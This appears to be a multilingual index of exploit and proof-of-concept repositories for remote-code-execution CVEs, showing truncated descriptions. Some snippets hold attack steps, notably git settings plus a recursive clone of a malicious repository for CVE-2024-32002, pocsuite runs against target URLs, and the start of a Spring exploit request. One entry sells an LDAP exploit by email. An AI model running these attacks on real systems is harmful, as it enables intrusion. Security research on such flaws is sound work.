CVE-2024-36401

CVE-2024-36401 प्रॉपर्टी नाम एक्सप्रेशन के मूल्यांकन में रिमोट कोड एक्ज़ीक्यूशन RCE भेद्यता GeoServer एक ओपन सोर्स सर्वर है जो उपयोगकर्ताओं को भू-स्थानिक डेटा साझा करने और संपादित करने की अनुमति देता है। संस्करण 2.23.6, 2.24.4 और 2.25.2 से पहले, कई OGC अनुरोध पैरामीटर, डिफ़ॉल्ट GeoServer इंस्टॉले...

chakra-exploit-framework

Chakra Exploitation Framework Ce dépôt contient le Browser Exploitation Framework que j'ai écrit pour préparer mon cours EXP-401. Le framework cible le moteur Chakra, qui faisait partie d'Edge jusqu'à son passage à v8 en 2019. La vulnérabilité de démonstration utilisée dans le framework est le...

CVE-2021-46422

CVE-2022-26134RCE स्थापना git clone https://github.com/yigexioabai/CVE-2022-26134-cve1.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt CVE-2022-26134RCE.py को pocsuite3\pocs निर्देशिका में रखें cd pocs pocsuite3 का उपयोग एकल URL: pocsuite -r CVE-2022-26134RCE.py -u url एकाधिक URL:...

CVE-2020-5902

CVE-2020-5902 BIG-IP संस्करण 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, और 11.6.1-11.6.5.1 में, ट्रैफिक मैनेजमेंट यूज़र इंटरफ़ेस TMUI, जिसे कॉन्फ़िगरेशन उपयोगिता भी कहा जाता है, में अज्ञात पृष्ठों पर रिमोट कोड एक्ज़ीक्यूशन RCE कमजोरी है। प्रूफ ऑफ कॉन्सेप्ट...

Better-CVE-2022-29464

बेहतर CVE-2022-29464 कुछ WSO2 उत्पाद असीमित फ़ाइल अपलोड की अनुमति देते हैं जिसके परिणामस्वरूप रिमोट कोड निष्पादन होता है। हमलावर को वेब रूट के अंतर्गत किसी निर्देशिका तक पहुंचने के लिए Content-Disposition डायरेक्टरी ट्रैवर्सल अनुक्रम के साथ /fileupload एंडपॉइंट का उपयोग करना होगा, जैसे...

CVE-2024-32030-Nuclei-Template

CVE-2024-32030 Nuclei टेम्पलेट विवरण इस रिपॉजिटरी में CVE-2024-32030 भेद्यता का पता लगाने के लिए एक Nuclei टेम्पलेट शामिल है। यह भेद्यता JMX मेट्रिक्स संग्रह JNDI रिज़ॉल्यूशन के माध्यम से दूरस्थ कोड निष्पादन की अनुमति देती है। भेद्यता विवरण ID: CVE-2024-32030 नाम: JMX Metrics Collection JNDI RCE...

CVE-2020-28502

ثغرة CVE-2020-28502 في node-XMLHttpRequest RCE وصف NVD يؤثر هذا على الحزمة xmlhttprequest قبل الإصدار 1.7.0؛ وجميع إصدارات الحزمة xmlhttprequest-ssl. بشرط إرسال الطلبات بشكل متزامن async=False في xhr.open، يمكن أن يؤدي إدخال المستخدم الضار الذي يتدفق إلى xhr.send إلى إدخال وتنفيذ تعليمات برمجية...

CVE-2020-9548

CVE-2020-9548: FasterXML/jackson-databind रिमोट कोड निष्पादन भेद्यता...

ConfluentPwn

ConfluentPwn कॉन्फ्लुएंस प्री-ऑथ ONGL इंजेक्शन रिमोट कोड एक्सीक्यूशन स्कैनर CVE-2022-26134। उपयोग नीचे दिया गया GIF टूल के डेमो उपयोग को दर्शाता है: यहाँ टूल का हेल्प आउटपुट है: $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ +...

CVE-2026-77991

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-77991 CVE-2026-77991 JEM - Joomla Event Manager 5.0.0 - joomlaeventmanager.net I am @abraxasnull. Loopback lab. The client is CVE-2026-77991-Abraxas-Labs.py. The advisory named a model. Privileged RCE:...

CVE-2024-23742

CVE-2024-23742 macOS पर Loom 0.196.1 तक के संस्करण में एक समस्या है जो एक दूरस्थ हमलावर को RunAsNode और enableNodeClilnspectArguments सेटिंग्स के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है। इस टूल से हम जाँच सकते हैं कि ऐप असुरक्षित है या नहीं: सत्यापन के बाद, हम अपना कोड इंजेक्ट कर सक...

CVE-2024-49112-PoC

CVE-2024-49112-PoC CVE-2024-49112 LDAP RCE PoC और Metasploit मॉड्यूल संपादन: लिंक अपडेट किए गए अंतिम 3 प्रतियां बाकी हैं डाउनलोड करने के लिए लिंक: संपर्क जानकारी आप मुझसे यहाँ संपर्क कर सकते हैं: [email protected] कृपया मुझसे यह न पूछें कि क्या मैं इसे मुफ्त में प्रदान कर सकता हूं, या क्या म...

CVE-2024-4577-RCE-ATTACK

PHP CVE-2024-4577-RCE-ATTACK-ATTACK 📜 विवरण PHP संस्करण 8.1. 8.1.29 से पहले, 8.2. 8.2.20 से पहले, 8.3. 8.3.8 से पहले में, जब Windows पर Apache और PHP-CGI का उपयोग किया जाता है, यदि सिस्टम कुछ विशिष्ट कोड पृष्ठों का उपयोग करने के लिए कॉन्फ़िगर किया गया है, तो Windows Win32 API फ़ंक्शंस को प्रदान क...

CVE-2019-0708-Windows

CVE-2019-0708-Windows यह लेख Windows रिमोट डेस्कटॉप सेवा भेद्यता CVE-2019-0708 को साझा करेगा, और इस भेद्यता और बचाव उपायों के बारे में विस्तार से बताएगा। लेखक, साइबर सुरक्षा के शुरुआती के रूप में, कुछ बुनियादी स्व-अध्ययन ट्यूटोरियल साझा कर रहे हैं, मुख्यतः सुरक्षा उपकरणों और व्यावहारिक संचालन के...

git_rce

CVE-2024-32002 PoC 1. يجب عليك إعداد خيار الرابط الرمزي لـ git كما يلي: git config --global core.symlinks true 2. ثم استغل CVE-2024-32002 باستخدام الأمر التالي: git clone --recursive https://github.com/EQSTSeminar/gitrce.git سيناريو الهجوم kali192.168.216.129 --إعطاء عنوان المستودع البعيد--...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 jenkins-cli हमने देखा है कि Jenkins File Leak / RCE CVE-2024-23897 का वास्तविक दुनिया में शोषण किया गया है और हम इसे दोहराने में सफल रहे हैं। यदि आपका Jenkins अनाम उपयोगकर्ताओं या उपयोगकर्ता पंजीकरण की अनुमति देता है, तो इसे तुरंत नवीनतम संस्करण में अपडेट करें। java...

cve-2020-5902-ioc-bigip-checker

CVE-2020-5902 IoC पहचान उपकरण यह स्क्रिप्ट रूट विशेषाधिकार वाले उपयोगकर्ता द्वारा F5 BIG-IP पर उन्नत शेल bash में स्थानीय रूप से निष्पादित करने के लिए है; इसे किसी अन्य सेटिंग में चलाने का इरादा नहीं है। नोट: Appliance Mode उन्नत शेल तक पहुंच की अनुमति नहीं देता है, और इसलिए इस उपकरण को ऐसे सिस्ट...

CVE-2018-3245

Weblogic-CVE-2018-3245 CVE-2018-3245 0x00 परिचय स्थानीय समय 16 अक्टूबर को, बीजिंग समय 17 अक्टूबर की सुबह, Oracle ने आधिकारिक रूप से अक्टूबर तीसरी तिमाही का क्रिटिकल पैच अपडेट CPU Critical Patch Update जारी किया, इसमें जुलाई दूसरी तिमाही के CPU पैच में पूरी तरह से ठीक न की गई CVE-2018-2893 Weblogi...

CVE-2022-22965_PoC

استغلال ثغرة RCE في Spring Framework ملاحظات اختبار الاختراق السريع الخطوة 1: ابحث عن نقطة نهاية في هدفك تقبل طرق POST/PUT + قم بترميز حمولتك ترميز URL POST /path/upload HTTP/1.1 Host: Origin: Cookie: JSESSIONID=BE65B534335A5A2538624404C063B70C; Content-Type: application/x-www-form-urlencoded...

CVE-2025-29017

CVE-2025-29017 - نظام الخدمات المصرفية عبر الإنترنت 2.0.0 تنفيذ أوامر عن بُعد عبر رفع صورة الملف الشخصي الوصف توجد ثغرة تنفيذ أوامر عن بُعد RCE في نظام Code Astro للخدمات المصرفية عبر الإنترنت 2.0.0 بسبب عدم التحقق السليم من صحة رفع الملفات في المعامل profilepic داخل pagesviewclient.php. يمكن...